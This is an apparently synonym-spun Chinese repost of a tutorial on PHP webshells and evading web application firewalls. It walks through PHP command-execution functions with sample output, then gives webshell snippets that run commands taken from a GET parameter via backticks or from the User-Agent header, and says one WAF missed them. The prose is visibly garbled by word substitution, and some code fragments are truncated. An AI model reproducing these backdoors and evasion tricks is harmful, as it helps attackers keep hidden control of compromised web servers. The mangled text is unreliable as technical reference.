php webshell分析和绕过waf技巧 8090安适门户
WebShell是打击者使用的恶意脚本,它的用途主要是在打击后的Web应用措施上成立长期性的后门。webshell自己不能打击或者操作长途缝隙,所以说它总是打击的第二阶段,这个阶段我们经常称为post-exploitation。(PS:Post Exploitation是国外渗透测试标准里面的一个阶段)
WebShell常用函数
此刻的Web应用措施根基上是给与PHP开发的,所以本篇文章也主要介绍的是php环境下的WebShell。WebShell无非就是使用PHP内置的函数来执行命令,以下就是用于在php中执行shell命令的一些最常用的函数。
system()
system()函数接收命令作为参数,并输出功效。
以下示例演示了运行dir命令,显示执行php文件目录的目录列表:
system('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 15:39
. 2016-12-02 15:39
.. 2016-12-02 15:38 56 hello.php 2016-12-02 15:38 29 system.php 2016-12-02 15:39
test 2 个文件 85 字节 3 个目录 871,600,128 可用字节
exec()
exec()函数接收一个命令作为参数,当不输出功效,如果指定第二个可选参数,则功效将作为数组返回。否则,如果回显,将只显示功效的最后一行。
exec('dir')
?>
-->
我们可以使用echo来输出exec()函数的功效。可以发明只有功效的最后一行。
echo exec('dir');
?>
-->
3 个目录 871,538,688 可用字节
如果指定第二个参数,则在数组中返回功效。
echo exec('dir',$array);
print_r($array);
?>
-->
3 个目录 871,538,688 可用字节Array ( [0] => 驱动器 C 中的卷没有标签。 [1] => 卷的序列号是 7C53-7529 [2] => [3] => C:\phpstudy\WWW 的目录 [4] => [5] => 2016-12-02 15:52
. [6] => 2016-12-02 15:52
.. [7] => 2016-12-02 16:15 53 exec.php [8] => 2016-12-02 15:38 56 hello.php [9] => 2016-12-02 15:46 25 system.php [10] => 2016-12-02 15:39
test [11] => 3 个文件 134 字节 [12] => 3 个目录 871,538,688 可用字节 )
shell_exec()
shell_exec()函数类似于exec()函数,但差此外是,它会将整个功效作为字符串输出。
echo shell_exec('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 16:26
. 2016-12-02 16:26
.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test 4 个文件 168 字节 3 个目录 871,460,864 可用字节
passthru()
passthru()函数执行命令并返回输出。
passthru('dir');
?>
-->
驱动器 C 中的卷没有标签。 卷的序列号是 7C53-7529 C:\phpstudy\WWW 的目录 2016-12-02 16:35
. 2016-12-02 16:35
.. 2016-12-02 16:15 53 exec.php 2016-12-02 15:38 56 hello.php 2016-12-02 16:35 27 passthru.php 2016-12-02 16:27 34 shellexec.php 2016-12-02 15:46 25 system.php 2016-12-02 15:39
test 5 个文件 195 字节 3 个目录 871,456,768 可用字节
proc_open()
proc_open()函数执行一个命令,并且打开用来输入/输出的文件指针。
这个函数可能很难理解,简单的来说,通过使用proc_open()函数,我们可以创建一个进程用于我们的脚本和我们想要运行措施之间的通信。详见PHP文档:
preg_replace()与/e修饰符
preg_replace()函数可以执行正则表达式的搜索和替换
如果使用/e修饰符,意味着使用eval执行替换,这样我们就可以通报一个要由eval()函数执行的代码
preg_replace('/.*/e', 'system("net user");', '');
?>
-->
\\ 的用户帐户 ------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant SUPPORT_388945a0 命令运行完毕,但产生一个或多个错误。
反引号
必定很多人没有注意到这点吧,php将反引号的内容作为shell命令执行。
$string=`$_GET[id]`;
echo "
$string";
?>
功效:
某WAF也没扫描到:
隐藏WebShell-免杀之路
操作HTTP请求头
在php中,我们可以很容易获取到HTTP请求头里面的某些特殊字符串头,好比User-Agent。同样的道理,我也可以操作这个来传入需要执行的命令。
'HTTP_USER_AGENT'])?>
通过User-Agent传入命令执行:
某waf也是扫描到,固然除了User-Agent,我们还有Accept-Language等特殊字符串头,这里就不做演示了,主要的还是要领。
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12531.html